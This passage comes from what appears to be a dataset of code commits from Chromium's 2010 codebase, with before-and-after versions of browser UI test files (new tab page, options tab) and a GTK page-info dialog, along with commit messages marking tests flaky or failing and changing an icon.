L\"window.domAutomationController.send(\"\n      L\"document.getElementById('login-username').innerText)\",\n      &displayed_username));\n\n  EXPECT_EQ(L\"user@gmail.com\", displayed_username);\n}\n\n\/\/ Fails about ~5% of the time on all platforms. http:\/\/crbug.com\/45001\nTEST_F(NewTabUITest, FLAKY_ChromeInternalLoadsNTP) {\n  scoped_refptr<BrowserProxy> window(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(window.get());\n\n  \/\/ Go to the \"new tab page\" using its old url, rather than chrome:\/\/newtab.\n  scoped_refptr<TabProxy> tab = window->GetTab(0);\n  ASSERT_TRUE(tab.get());\n  ASSERT_TRUE(tab->NavigateToURLAsync(GURL(\"chrome-internal:\")));\n  int load_time;\n  ASSERT_TRUE(automation()->WaitForInitialNewTabUILoad(&load_time));\n\n  \/\/ Ensure there are some thumbnails loaded in the page.\n  int thumbnails_count = -1;\n  ASSERT_TRUE(tab->ExecuteAndExtractInt(L\"\",\n      L\"window.domAutomationController.send(\"\n      L\"document.getElementsByClassName('thumbnail-container').length)\",\n      &thumbnails_count));\n  EXPECT_GT(thumbnails_count, 0);\n}\n\n\/\/ Flaky on XP bots: http:\/\/crbug.com\/51726\nTEST_F(NewTabUITest, FLAKY_UpdateUserPrefsVersion) {\n  \/\/ PrefService with JSON user-pref file only, no enforced or advised prefs.\n  scoped_ptr<PrefService> prefs(new TestingPrefService);\n\n  \/\/ Does the migration\n  NewTabUI::RegisterUserPrefs(prefs.get());\n\n  ASSERT_EQ(NewTabUI::current_pref_version(),\n            prefs->GetInteger(prefs::kNTPPrefVersion));\n\n  \/\/ Reset the version\n  prefs->ClearPref(prefs::kNTPPrefVersion);\n  ASSERT_EQ(0, prefs->GetInteger(prefs::kNTPPrefVersion));\n\n  bool migrated = NewTabUI::UpdateUserPrefsVersion(prefs.get());\n  ASSERT_TRUE(migrated);\n  ASSERT_EQ(NewTabUI::current_pref_version(),\n            prefs->GetInteger(prefs::kNTPPrefVersion));\n\n  migrated = NewTabUI::UpdateUserPrefsVersion(prefs.get());\n  ASSERT_FALSE(migrated);\n}\n<commit_msg>Marks NewTabUITest.FLAKY_NTPHasThumbnails as flaky.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/test\/ui\/ui_test.h\"\n\n#include \"chrome\/app\/chrome_dll_resource.h\"\n#include \"chrome\/browser\/browser_thread.h\"\n#include \"chrome\/browser\/dom_ui\/new_tab_ui.h\"\n#include \"chrome\/browser\/prefs\/pref_value_store.h\"\n#include \"chrome\/browser\/sync\/signin_manager.h\"\n#include \"chrome\/common\/json_pref_store.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/testing_pref_service.h\"\n\nclass NewTabUITest : public UITest {\n public:\n  NewTabUITest() {\n    dom_automation_enabled_ = true;\n    \/\/ Set home page to the empty string so that we can set the home page using\n    \/\/ preferences.\n    homepage_ = \"\";\n\n    \/\/ Setup the DEFAULT_THEME profile (has fake history entries).\n    set_template_user_data(UITest::ComputeTypicalUserDataSource(\n        UITest::DEFAULT_THEME));\n  }\n};\n\n\/\/ See bug 60946.\nTEST_F(NewTabUITest, FLAKY_NTPHasThumbnails) {\n  \/\/ Switch to the \"new tab\" tab, which should be any new tab after the\n  \/\/ first (the first is about:blank).\n  scoped_refptr<BrowserProxy> window(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(window.get());\n\n  \/\/ Bring up a new tab page.\n  ASSERT_TRUE(window->RunCommand(IDC_NEW_TAB));\n  int load_time;\n  ASSERT_TRUE(automation()->WaitForInitialNewTabUILoad(&load_time));\n\n  scoped_refptr<TabProxy> tab = window->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n\n  \/\/ TopSites should return at least 3 non-filler pages.\n  \/\/ 8 - 3 = max 5 filler pages.\n  ASSERT_TRUE(WaitUntilJavaScriptCondition(tab, L\"\",\n      L\"window.domAutomationController.send(\"\n      L\"document.getElementsByClassName('filler').length <= 5)\",\n      action_max_timeout_ms()));\n}\n\nTEST_F(NewTabUITest, NTPHasLoginName) {\n  scoped_refptr<BrowserProxy> window(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(window.get());\n\n  ASSERT_TRUE(window->SetStringPreference(prefs::kGoogleServicesUsername,\n                                          \"user@gmail.com\"));\n  \/\/ Bring up a new tab page.\n  ASSERT_TRUE(window->RunCommand(IDC_NEW_TAB));\n  int load_time;\n  ASSERT_TRUE(automation()->WaitForInitialNewTabUILoad(&load_time));\n\n  scoped_refptr<TabProxy> tab = window->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n\n  std::wstring displayed_username;\n  \/\/ The login span should be eventually populated and have the\n  \/\/ correct value.\n  ASSERT_TRUE(WaitUntilJavaScriptCondition(tab, L\"\",\n      L\"window.domAutomationController.send(\"\n      L\"document.getElementById('login-username').innerText.length > 0)\",\n      action_max_timeout_ms()));\n\n  ASSERT_TRUE(tab->ExecuteAndExtractString(\n      L\"\",\n      L\"window.domAutomationController.send(\"\n      L\"document.getElementById('login-username').innerText)\",\n      &displayed_username));\n\n  EXPECT_EQ(L\"user@gmail.com\", displayed_username);\n}\n\n\/\/ Fails about ~5% of the time on all platforms. http:\/\/crbug.com\/45001\nTEST_F(NewTabUITest, FLAKY_ChromeInternalLoadsNTP) {\n  scoped_refptr<BrowserProxy> window(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(window.get());\n\n  \/\/ Go to the \"new tab page\" using its old url, rather than chrome:\/\/newtab.\n  scoped_refptr<TabProxy> tab = window->GetTab(0);\n  ASSERT_TRUE(tab.get());\n  ASSERT_TRUE(tab->NavigateToURLAsync(GURL(\"chrome-internal:\")));\n  int load_time;\n  ASSERT_TRUE(automation()->WaitForInitialNewTabUILoad(&load_time));\n\n  \/\/ Ensure there are some thumbnails loaded in the page.\n  int thumbnails_count = -1;\n  ASSERT_TRUE(tab->ExecuteAndExtractInt(L\"\",\n      L\"window.domAutomationController.send(\"\n      L\"document.getElementsByClassName('thumbnail-container').length)\",\n      &thumbnails_count));\n  EXPECT_GT(thumbnails_count, 0);\n}\n\n\/\/ Flaky on XP bots: http:\/\/crbug.com\/51726\nTEST_F(NewTabUITest, FLAKY_UpdateUserPrefsVersion) {\n  \/\/ PrefService with JSON user-pref file only, no enforced or advised prefs.\n  scoped_ptr<PrefService> prefs(new TestingPrefService);\n\n  \/\/ Does the migration\n  NewTabUI::RegisterUserPrefs(prefs.get());\n\n  ASSERT_EQ(NewTabUI::current_pref_version(),\n            prefs->GetInteger(prefs::kNTPPrefVersion));\n\n  \/\/ Reset the version\n  prefs->ClearPref(prefs::kNTPPrefVersion);\n  ASSERT_EQ(0, prefs->GetInteger(prefs::kNTPPrefVersion));\n\n  bool migrated = NewTabUI::UpdateUserPrefsVersion(prefs.get());\n  ASSERT_TRUE(migrated);\n  ASSERT_EQ(NewTabUI::current_pref_version(),\n            prefs->GetInteger(prefs::kNTPPrefVersion));\n\n  migrated = NewTabUI::UpdateUserPrefsVersion(prefs.get());\n  ASSERT_FALSE(migrated);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"chrome\/app\/chrome_dll_resource.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n\nnamespace {\n\nclass OptionsUITest : public UITest {\n public:\n  OptionsUITest() {\n    dom_automation_enabled_ = true;\n    \/\/ TODO(csilv): Remove when dom-ui options is enabled by default.\n    launch_arguments_.AppendSwitch(switches::kEnableTabbedOptions);\n  }\n\n  void AssertIsOptionsPage(TabProxy* tab) {\n    std::wstring title;\n    ASSERT_TRUE(tab->GetTabTitle(&title));\n    ASSERT_EQ(L\"Chromium Options\", title);\n  }\n};\n\nTEST_F(OptionsUITest, LoadOptionsByURL) {\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  scoped_refptr<TabProxy> tab = browser->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n\n  \/\/ Go to the options tab via URL.\n  NavigateToURL(GURL(chrome::kChromeUIOptionsURL));\n  AssertIsOptionsPage(tab);\n}\n\nTEST_F(OptionsUITest, CommandOpensOptionsTab) {\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  int tab_count = -1;\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(1, tab_count);\n\n  \/\/ Bring up the options tab via command.\n  ASSERT_TRUE(browser->RunCommand(IDC_OPTIONS));\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(2, tab_count);\n\n  scoped_refptr<TabProxy> tab = browser->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n  AssertIsOptionsPage(tab);\n}\n\nTEST_F(OptionsUITest, CommandAgainGoesBackToOptionsTab) {\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  int tab_count = -1;\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(1, tab_count);\n\n  \/\/ Bring up the options tab via command.\n  ASSERT_TRUE(browser->RunCommand(IDC_OPTIONS));\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(2, tab_count);\n\n  scoped_refptr<TabProxy> tab = browser->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n  AssertIsOptionsPage(tab);\n\n  \/\/ Switch to first tab and run command again.\n  ASSERT_TRUE(browser->ActivateTab(0));\n  ASSERT_TRUE(browser->WaitForTabToBecomeActive(0, action_max_timeout_ms()));\n  ASSERT_TRUE(browser->RunCommandAsync(IDC_OPTIONS));\n\n  \/\/ Ensure the options ui tab is active.\n  ASSERT_TRUE(browser->WaitForTabToBecomeActive(1, action_max_timeout_ms()));\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(2, tab_count);\n}\n\nTEST_F(OptionsUITest, TwoCommandsOneTab) {\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  int tab_count = -1;\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(1, tab_count);\n\n  ASSERT_TRUE(browser->RunCommand(IDC_OPTIONS));\n  ASSERT_TRUE(browser->RunCommandAsync(IDC_OPTIONS));\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(2, tab_count);\n}\n\n}  \/\/ namespace\n<commit_msg>Mark CommandAgainGoesBackToOptionsTab as failing<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"chrome\/app\/chrome_dll_resource.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n\nnamespace {\n\nclass OptionsUITest : public UITest {\n public:\n  OptionsUITest() {\n    dom_automation_enabled_ = true;\n    \/\/ TODO(csilv): Remove when dom-ui options is enabled by default.\n    launch_arguments_.AppendSwitch(switches::kEnableTabbedOptions);\n  }\n\n  void AssertIsOptionsPage(TabProxy* tab) {\n    std::wstring title;\n    ASSERT_TRUE(tab->GetTabTitle(&title));\n    ASSERT_EQ(L\"Chromium Options\", title);\n  }\n};\n\nTEST_F(OptionsUITest, LoadOptionsByURL) {\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  scoped_refptr<TabProxy> tab = browser->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n\n  \/\/ Go to the options tab via URL.\n  NavigateToURL(GURL(chrome::kChromeUIOptionsURL));\n  AssertIsOptionsPage(tab);\n}\n\nTEST_F(OptionsUITest, CommandOpensOptionsTab) {\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  int tab_count = -1;\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(1, tab_count);\n\n  \/\/ Bring up the options tab via command.\n  ASSERT_TRUE(browser->RunCommand(IDC_OPTIONS));\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(2, tab_count);\n\n  scoped_refptr<TabProxy> tab = browser->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n  AssertIsOptionsPage(tab);\n}\n\nTEST_F(OptionsUITest, FAILS_CommandAgainGoesBackToOptionsTab) {\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  int tab_count = -1;\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(1, tab_count);\n\n  \/\/ Bring up the options tab via command.\n  ASSERT_TRUE(browser->RunCommand(IDC_OPTIONS));\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(2, tab_count);\n\n  scoped_refptr<TabProxy> tab = browser->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n  AssertIsOptionsPage(tab);\n\n  \/\/ Switch to first tab and run command again.\n  ASSERT_TRUE(browser->ActivateTab(0));\n  ASSERT_TRUE(browser->WaitForTabToBecomeActive(0, action_max_timeout_ms()));\n  ASSERT_TRUE(browser->RunCommandAsync(IDC_OPTIONS));\n\n  \/\/ Ensure the options ui tab is active.\n  ASSERT_TRUE(browser->WaitForTabToBecomeActive(1, action_max_timeout_ms()));\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(2, tab_count);\n}\n\nTEST_F(OptionsUITest, TwoCommandsOneTab) {\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  int tab_count = -1;\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(1, tab_count);\n\n  ASSERT_TRUE(browser->RunCommand(IDC_OPTIONS));\n  ASSERT_TRUE(browser->RunCommandAsync(IDC_OPTIONS));\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(2, tab_count);\n}\n\n}  \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <gtk\/gtk.h>\n\n#include \"build\/build_config.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/certificate_viewer.h\"\n#include \"chrome\/browser\/gtk\/gtk_util.h\"\n#include \"chrome\/browser\/page_info_model.h\"\n#include \"chrome\/browser\/page_info_window.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/locale_settings.h\"\n#include \"grit\/theme_resources.h\"\n\nnamespace {\n\nenum {\n  RESPONSE_SHOW_CERT_INFO = 0,\n};\n\nclass PageInfoWindowGtk : public PageInfoModel::PageInfoModelObserver {\n public:\n  PageInfoWindowGtk(gfx::NativeWindow parent,\n                    Profile* profile,\n                    const GURL& url,\n                    const NavigationEntry::SSLStatus& ssl,\n                    bool show_history);\n  ~PageInfoWindowGtk();\n\n  \/\/ PageInfoModelObserver implementation:\n  virtual void ModelChanged();\n\n  \/\/ Shows the page info window.\n  void Show();\n\n  \/\/ Shows the certificate info window.\n  void ShowCertDialog();\n\n  GtkWidget* widget() { return dialog_; }\n\n private:\n  \/\/ Layouts the different sections retrieved from the model.\n  void InitContents();\n\n  \/\/ Returns a widget that contains the UI for the passed |section|.\n  GtkWidget* CreateSection(const PageInfoModel::SectionInfo& section);\n\n  \/\/ The model containing the different sections to display.\n  PageInfoModel model_;\n\n  \/\/ The page info dialog.\n  GtkWidget* dialog_;\n\n  \/\/ The url for this dialog. Should be unique among active dialogs.\n  GURL url_;\n\n  \/\/ The virtual box containing the sections.\n  GtkWidget* contents_;\n\n  \/\/ The id of the certificate for this page.\n  int cert_id_;\n\n  DISALLOW_COPY_AND_ASSIGN(PageInfoWindowGtk);\n};\n\n\/\/ We only show one page info per URL (keyed on url.spec()).\ntypedef std::map<std::string, PageInfoWindowGtk*> PageInfoWindowMap;\nPageInfoWindowMap g_page_info_window_map;\n\n\/\/ Button callbacks.\nvoid OnDialogResponse(GtkDialog* dialog, gint response_id,\n                      PageInfoWindowGtk* page_info) {\n  if (response_id == RESPONSE_SHOW_CERT_INFO) {\n    page_info->ShowCertDialog();\n  } else {\n    \/\/ \"Close\" was clicked.\n    gtk_widget_destroy(GTK_WIDGET(dialog));\n  }\n}\n\nvoid OnDestroy(GtkDialog* dialog, PageInfoWindowGtk* page_info) {\n  delete page_info;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ PageInfoWindowGtk, public:\nPageInfoWindowGtk::PageInfoWindowGtk(gfx::NativeWindow parent,\n                                     Profile* profile,\n                                     const GURL& url,\n                                     const NavigationEntry::SSLStatus& ssl,\n                                     bool show_history)\n    : ALLOW_THIS_IN_INITIALIZER_LIST(model_(profile, url, ssl,\n                                            show_history, this)),\n      url_(url),\n      contents_(NULL),\n      cert_id_(ssl.cert_id()) {\n  dialog_ = gtk_dialog_new_with_buttons(\n      l10n_util::GetStringUTF8(IDS_PAGEINFO_WINDOW_TITLE).c_str(),\n      parent,\n      \/\/ Non-modal.\n      GTK_DIALOG_NO_SEPARATOR,\n      NULL);\n  if (cert_id_) {\n    gtk_dialog_add_button(\n        GTK_DIALOG(dialog_),\n        l10n_util::GetStringUTF8(IDS_PAGEINFO_CERT_INFO_BUTTON).c_str(),\n        RESPONSE_SHOW_CERT_INFO);\n  }\n  gtk_dialog_add_button(GTK_DIALOG(dialog_), GTK_STOCK_CLOSE,\n                        GTK_RESPONSE_CLOSE);\n  gtk_dialog_set_default_response(GTK_DIALOG(dialog_), GTK_RESPONSE_CLOSE);\n\n  gtk_box_set_spacing(GTK_BOX(GTK_DIALOG(dialog_)->vbox),\n                      gtk_util::kContentAreaSpacing);\n  g_signal_connect(dialog_, \"response\", G_CALLBACK(OnDialogResponse), this);\n  g_signal_connect(dialog_, \"destroy\", G_CALLBACK(OnDestroy), this);\n\n  InitContents();\n\n  g_page_info_window_map[url.spec()] = this;\n}\n\nPageInfoWindowGtk::~PageInfoWindowGtk() {\n  g_page_info_window_map.erase(url_.spec());\n}\n\nvoid PageInfoWindowGtk::ModelChanged() {\n  InitContents();\n}\n\nGtkWidget* PageInfoWindowGtk::CreateSection(\n    const PageInfoModel::SectionInfo& section) {\n  GtkWidget* vbox = gtk_vbox_new(FALSE, gtk_util::kControlSpacing);\n  GtkWidget* label = gtk_label_new(UTF16ToUTF8(section.title).c_str());\n\n  PangoAttrList* attributes = pango_attr_list_new();\n  pango_attr_list_insert(attributes,\n                         pango_attr_weight_new(PANGO_WEIGHT_BOLD));\n  gtk_label_set_attributes(GTK_LABEL(label), attributes);\n  pango_attr_list_unref(attributes);\n  gtk_misc_set_alignment(GTK_MISC(label), 0, 0);\n  gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0);\n\n  GtkWidget* section_box = gtk_hbox_new(FALSE, 0);\n  ResourceBundle& rb = ResourceBundle::GetSharedInstance();\n  GtkWidget* image = gtk_image_new_from_pixbuf(\n      section.state == PageInfoModel::SECTION_STATE_OK ?\n      rb.GetPixbufNamed(IDR_PAGEINFO_GOOD) :\n      rb.GetPixbufNamed(IDR_PAGEINFO_BAD));\n  gtk_box_pack_start(GTK_BOX(section_box), image, FALSE, FALSE,\n                     gtk_util::kControlSpacing);\n  gtk_misc_set_alignment(GTK_MISC(image), 0, 0);\n\n  GtkWidget* text_box = gtk_vbox_new(FALSE, gtk_util::kControlSpacing);\n  if (!section.headline.empty()) {\n    label = gtk_label_new(UTF16ToUTF8(section.headline).c_str());\n    gtk_misc_set_alignment(GTK_MISC(label), 0, 0);\n    gtk_box_pack_start(GTK_BOX(text_box), label, FALSE, FALSE, 0);\n  }\n  label = gtk_label_new(UTF16ToUTF8(section.description).c_str());\n  gtk_misc_set_alignment(GTK_MISC(label), 0, 0);\n  gtk_label_set_line_wrap(GTK_LABEL(label), TRUE);\n  \/\/ Allow linebreaking in the middle of words if necessary, so that extremely\n  \/\/ long hostnames (longer than one line) will still be completely shown.\n  gtk_label_set_line_wrap_mode(GTK_LABEL(label), PANGO_WRAP_WORD_CHAR);\n  gtk_box_pack_start(GTK_BOX(text_box), label, FALSE, FALSE, 0);\n  gtk_widget_set_size_request(label, 400, -1);\n\n  gtk_box_pack_start(GTK_BOX(section_box), text_box, TRUE, TRUE, 0);\n  gtk_box_pack_start(GTK_BOX(vbox), section_box, TRUE, TRUE, 0);\n\n  return vbox;\n}\n\nvoid PageInfoWindowGtk::InitContents() {\n  if (contents_)\n    gtk_widget_destroy(contents_);\n  contents_ = gtk_vbox_new(FALSE, gtk_util::kContentAreaSpacing);\n  for (int i = 0; i < model_.GetSectionCount(); i++) {\n    gtk_box_pack_start(GTK_BOX(contents_),\n                       CreateSection(model_.GetSectionInfo(i)),\n                       FALSE, FALSE, 0);\n  }\n  gtk_widget_show_all(contents_);\n  gtk_container_add(GTK_CONTAINER(GTK_DIALOG(dialog_)->vbox), contents_);\n}\n\nvoid PageInfoWindowGtk::Show() {\n  gtk_widget_show(dialog_);\n}\n\nvoid PageInfoWindowGtk::ShowCertDialog() {\n  ShowCertificateViewerByID(GTK_WINDOW(dialog_), cert_id_);\n}\n\n}  \/\/ namespace\n\nnamespace browser {\n\nvoid ShowPageInfo(gfx::NativeWindow parent,\n                  Profile* profile,\n                  const GURL& url,\n                  const NavigationEntry::SSLStatus& ssl,\n                  bool show_history) {\n  PageInfoWindowMap::iterator iter =\n      g_page_info_window_map.find(url.spec());\n  if (iter != g_page_info_window_map.end()) {\n    gtk_window_present(GTK_WINDOW(iter->second->widget()));\n    return;\n  }\n\n  PageInfoWindowGtk* page_info_window =\n      new PageInfoWindowGtk(parent, profile, url, ssl, show_history);\n  page_info_window->Show();\n}\n\n}  \/\/ namespace browser\n<commit_msg>[gtk] Update page-info icons to match behavior in page_info_window_view.cc.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <gtk\/gtk.h>\n\n#include \"build\/build_config.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/certificate_viewer.h\"\n#include \"chrome\/browser\/gtk\/gtk_util.h\"\n#include \"chrome\/browser\/page_info_model.h\"\n#include \"chrome\/browser\/page_info_window.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/locale_settings.h\"\n#include \"grit\/theme_resources.h\"\n\nnamespace {\n\nenum {\n  RESPONSE_SHOW_CERT_INFO = 0,\n};\n\nclass PageInfoWindowGtk : public PageInfoModel::PageInfoModelObserver {\n public:\n  PageInfoWindowGtk(gfx::NativeWindow parent,\n                    Profile* profile,\n                    const GURL& url,\n                    const NavigationEntry::SSLStatus& ssl,\n                    bool show_history);\n  ~PageInfoWindowGtk();\n\n  \/\/ PageInfoModelObserver implementation:\n  virtual void ModelChanged();\n\n  \/\/ Shows the page info window.\n  void Show();\n\n  \/\/ Shows the certificate info window.\n  void ShowCertDialog();\n\n  GtkWidget* widget() { return dialog_; }\n\n private:\n  \/\/ Layouts the different sections retrieved from the model.\n  void InitContents();\n\n  \/\/ Returns a widget that contains the UI for the passed |section|.\n  GtkWidget* CreateSection(const PageInfoModel::SectionInfo& section);\n\n  \/\/ The model containing the different sections to display.\n  PageInfoModel model_;\n\n  \/\/ The page info dialog.\n  GtkWidget* dialog_;\n\n  \/\/ The url for this dialog. Should be unique among active dialogs.\n  GURL url_;\n\n  \/\/ The virtual box containing the sections.\n  GtkWidget* contents_;\n\n  \/\/ The id of the certificate for this page.\n  int cert_id_;\n\n  DISALLOW_COPY_AND_ASSIGN(PageInfoWindowGtk);\n};\n\n\/\/ We only show one page info per URL (keyed on url.spec()).\ntypedef std::map<std::string, PageInfoWindowGtk*> PageInfoWindowMap;\nPageInfoWindowMap g_page_info_window_map;\n\n\/\/ Button callbacks.\nvoid OnDialogResponse(GtkDialog* dialog, gint response_id,\n                      PageInfoWindowGtk* page_info) {\n  if (response_id == RESPONSE_SHOW_CERT_INFO) {\n    page_info->ShowCertDialog();\n  } else {\n    \/\/ \"Close\" was clicked.\n    gtk_widget_destroy(GTK_WIDGET(dialog));\n  }\n}\n\nvoid OnDestroy(GtkDialog* dialog, PageInfoWindowGtk* page_info) {\n  delete page_info;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ PageInfoWindowGtk, public:\nPageInfoWindowGtk::PageInfoWindowGtk(gfx::NativeWindow parent,\n                                     Profile* profile,\n                                     const GURL& url,\n                                     const NavigationEntry::SSLStatus& ssl,\n                                     bool show_history)\n    : ALLOW_THIS_IN_INITIALIZER_LIST(model_(profile, url, ssl,\n                                            show_history, this)),\n      url_(url),\n      contents_(NULL),\n      cert_id_(ssl.cert_id()) {\n  dialog_ = gtk_dialog_new_with_buttons(\n      l10n_util::GetStringUTF8(IDS_PAGEINFO_WINDOW_TITLE).c_str(),\n      parent,\n      \/\/ Non-modal.\n      GTK_DIALOG_NO_SEPARATOR,\n      NULL);\n  if (cert_id_) {\n    gtk_dialog_add_button(\n        GTK_DIALOG(dialog_),\n        l10n_util::GetStringUTF8(IDS_PAGEINFO_CERT_INFO_BUTTON).c_str(),\n        RESPONSE_SHOW_CERT_INFO);\n  }\n  gtk_dialog_add_button(GTK_DIALOG(dialog_), GTK_STOCK_CLOSE,\n                        GTK_RESPONSE_CLOSE);\n  gtk_dialog_set_default_response(GTK_DIALOG(dialog_), GTK_RESPONSE_CLOSE);\n\n  gtk_box_set_spacing(GTK_BOX(GTK_DIALOG(dialog_)->vbox),\n                      gtk_util::kContentAreaSpacing);\n  g_signal_connect(dialog_, \"response\", G_CALLBACK(OnDialogResponse), this);\n  g_signal_connect(dialog_, \"destroy\", G_CALLBACK(OnDestroy), this);\n\n  InitContents();\n\n  g_page_info_window_map[url.spec()] = this;\n}\n\nPageInfoWindowGtk::~PageInfoWindowGtk() {\n  g_page_info_window_map.erase(url_.spec());\n}\n\nvoid PageInfoWindowGtk::ModelChanged() {\n  InitContents();\n}\n\nGtkWidget* PageInfoWindowGtk::CreateSection(\n    const PageInfoModel::SectionInfo& section) {\n  GtkWidget* vbox = gtk_vbox_new(FALSE, gtk_util::kControlSpacing);\n  GtkWidget* label = gtk_label_new(UTF16ToUTF8(section.title).c_str());\n\n  PangoAttrList* attributes = pango_attr_list_new();\n  pango_attr_list_insert(attributes,\n                         pango_attr_weight_new(PANGO_WEIGHT_BOLD));\n  gtk_label_set_attributes(GTK_LABEL(label), attributes);\n  pango_attr_list_unref(attributes);\n  gtk_misc_set_alignment(GTK_MISC(label), 0, 0);\n  gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0);\n\n  GtkWidget* section_box = gtk_hbox_new(FALSE, 0);\n  ResourceBundle& rb = ResourceBundle::GetSharedInstance();\n  GtkWidget* image = gtk_image_new_from_pixbuf(\n      section.state == PageInfoModel::SECTION_STATE_OK ?\n      rb.GetPixbufNamed(IDR_PAGEINFO_GOOD) :\n      rb.GetPixbufNamed(IDR_PAGEINFO_WARNING_MAJOR));\n  gtk_box_pack_start(GTK_BOX(section_box), image, FALSE, FALSE,\n                     gtk_util::kControlSpacing);\n  gtk_misc_set_alignment(GTK_MISC(image), 0, 0);\n\n  GtkWidget* text_box = gtk_vbox_new(FALSE, gtk_util::kControlSpacing);\n  if (!section.headline.empty()) {\n    label = gtk_label_new(UTF16ToUTF8(section.headline).c_str());\n    gtk_misc_set_alignment(GTK_MISC(label), 0, 0);\n    gtk_box_pack_start(GTK_BOX(text_box), label, FALSE, FALSE, 0);\n  }\n  label = gtk_label_new(UTF16ToUTF8(section.description).c_str());\n  gtk_misc_set_alignment(GTK_MISC(label), 0, 0);\n  gtk_label_set_line_wrap(GTK_LABEL(label), TRUE);\n  \/\/ Allow 